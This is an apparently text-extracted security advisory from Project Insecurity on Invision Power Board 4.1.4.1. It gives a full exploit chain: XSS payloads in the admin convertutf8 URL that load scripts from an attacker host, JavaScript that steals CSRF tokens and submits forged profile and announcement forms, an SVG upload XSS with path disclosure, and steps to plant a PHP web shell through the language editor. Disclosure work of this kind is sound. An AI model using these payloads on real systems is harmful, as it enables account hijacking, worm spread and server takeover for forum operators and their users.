Invision Power Board - Vulnerability Report: Project Insecurity - Insecurity - SH
Invision Power Board - Vulnerability Report: Project Insecurity - Insecurity - SH
Invision Power Board - Vulnerability Report: Project Insecurity - Insecurity - SH
Project Insecurity - insecurity.sh
1.0 - Abstract
There are multiple instances of stored/persistent cross-site-scripting vulnerabilities
affecting Invision Power Board forum CMS (version v4.1.4.1 - current build at time of
publication), in addition to this, there are methods of gaining Remote Command Execution
(which can be paired with the XSS) to compromise the remote server. There are also file
enumeration vulnerabilities that allow a calculated attacker to enumerate a list of files
which exist or don’t exist on the server. This report will be detailing some of our findings.
At some point in the close future, you can expect us to return to IPB for round #2, as we
were not fully satisfied with our findings in this initial report (despite having multiple
exploitable vulnerabilities, we feel that there is more to be uncovered within IPB).
http://<target>/admin/convertutf8/index.php?controller=%27};alert(document.domai
n);{%27
If a moderator or admin visits this URL, the script steals the CSRF tokens from the
mod/admin, builds the CSRF form with the payload, and creates a malicious
announcement with the attackers specified XSS payload. When anyone reads this
announcement, the XSS will fire!
http://<target>/admin/convertutf8/index.php?controller='};</script><script
src=//<attacker>/xss.js></script>;{'
// specifies the target, the title of the announcement, and the xss payload!
var target = 'http://<target>/index.php?/modcp/announcements/&action=create';
var title = 'URGENT';
2
3
The XSS can also be abused to attack users. When a logged in user visits this page, it
will steal the user's CSRF token, enable status updates and then change their
"About Me" to "sxcurity is my hero":
http://<target>/admin/convertutf8/index.php?controller='};</script><script
src=//<attacker>/lol.js></script>;{'
4
5
6
}
var final = profile + 'edit/';
// steals the csrf token
var csrf = get(final);
document.body.innerHTML = csrf;
var inp = document.getElementsByTagName('input')[3];
var token = inp.value;
// build form with valid token and evil credentials
document.body.innerHTML
+= '<form id="woot" action=' + final + ' method="POST">'
+ '<input type="hidden" name="form_submitted" value="1">'
+ '<input type="hidden" name="csrfKey" value="' + token + '">'
+ '<input type="hidden" name="MAX_FILE_SIZE" value="2097152">'
+ '<input type="hidden" name="plupload" value="sxcurity">'
+ '<input type="hidden" name="bday[month]" value="0">'
+ '<input type="hidden" name="bday[day]" value="0">'
+ '<input type="hidden" name="bday[year]" value="0">'
+ '<input type="hidden" name="enable_status_updates" value="0">'
+ '<input type="hidden" name="enable_status_updates_checkbox" value="1">'
+ '<input type="hidden" name="core_pfield_1" value="' + payload + '">'
+ '<input type="hidden" name="core_pfield_1_upload" value="sxcurity">'
+ '</form>';
// submits our csrf form!
document.forms["woot"].submit();
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}
7
data-ipsuploader-existingfiles="{"102":{"configuration":{"
;dir":"\/home\/services\/Services\/ipbcommunity\/uploads"
,"url":"uploads"}
,"configurationId":1,"storageExtension":"core_Attachme
nt"
,"originalFilename":"xss.svg","filename"
:"xss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"
,"container":"monthly_2017_05","url"
8
:{"data":{"scheme":"https","host"
:"vuln.site.com","path":"\/uploads\/monthly_2017_05\/x
ss.svg.d9b51a7a276cfbc0625876e30bce299a.svg"
},"queryString":[],"isInternal":true,"isFriendly":true
},"tempId":null,"attachmentThumbnailUrl"
:{"data":{"scheme":"https","host":&qu
ot;vuln.site.com","path":"\/uploads\/monthly_2017_05\/xss.sv
g.d9b51a7a276cfbc0625876e30bce299a.svg"}
,"queryString":[],"isInternal":true,"isFriendly":true}
,"thumbnailName":null,"thumbnailContainer":null}}"
From there, you can see the full path. We can also look at the URL in the source here to get
the correct URL for where the XSS has been uploaded (there is a mechanism in place to
attempt to prevent this from being possible by generating a unique string and adding it to
the filename for the uploaded file, but by refreshing the page at the right time and viewing
source we can see the full path for the upload including the unique string) here is an
example:
;:{"scheme":"https","host":"community.vuln.
com","path":"\/uploads\/monthly_2017_05\/xss.svg.d9b51a7a
276cfbc0625876e30bce299a.svg"}
https://community.vuln.com/uploads/monthly_2017_05/xss.svg.d9b51a7a276cfbc062
5876e30bce299a.svg
This can then either be used in a similar fashion to reflective XSS and linked to the victims,
or it can be used within threads (via attachments) using the same method, which can allow
someone from a regular user account to target the sites entire userbase (allowing for many
possibilities, such as creating a worm, getting admin credentials, etc)
Once an account with administrative features has been compromised, it’s somewhat trivial
to obtain shell access. The above XSS techniques can generally be used to hijack an admin
account with ease. Once credentials or an admin session is obtained, the following steps
can be utilized to a achieve shell access:
9
● Manage languages
● Choose language
● Choose Section
● Edit ‘help.txt’
After this, a box should pop up where you can make edits to help.txt, the following PHP
code can then be added:
Ensure that the code has been added to the bottom of ‘help.txt’ in order for this to work,
after this, load the helpfile module via the following URL in order to execute your code:
http://vuln.com/index.php?app=core&module=help
After this, the following URL can be visited in order to access your freshly spawned shell:
http://vuln.com/cache/shell.php
4.0 - Credits:
Corben Leo:
https://www.linkedin.com/in/corben-leo/
Matthew Telfer:
https://www.linkedin.com/in/matthew-telfer-bb2325167/
10
11
12
CREDITS
13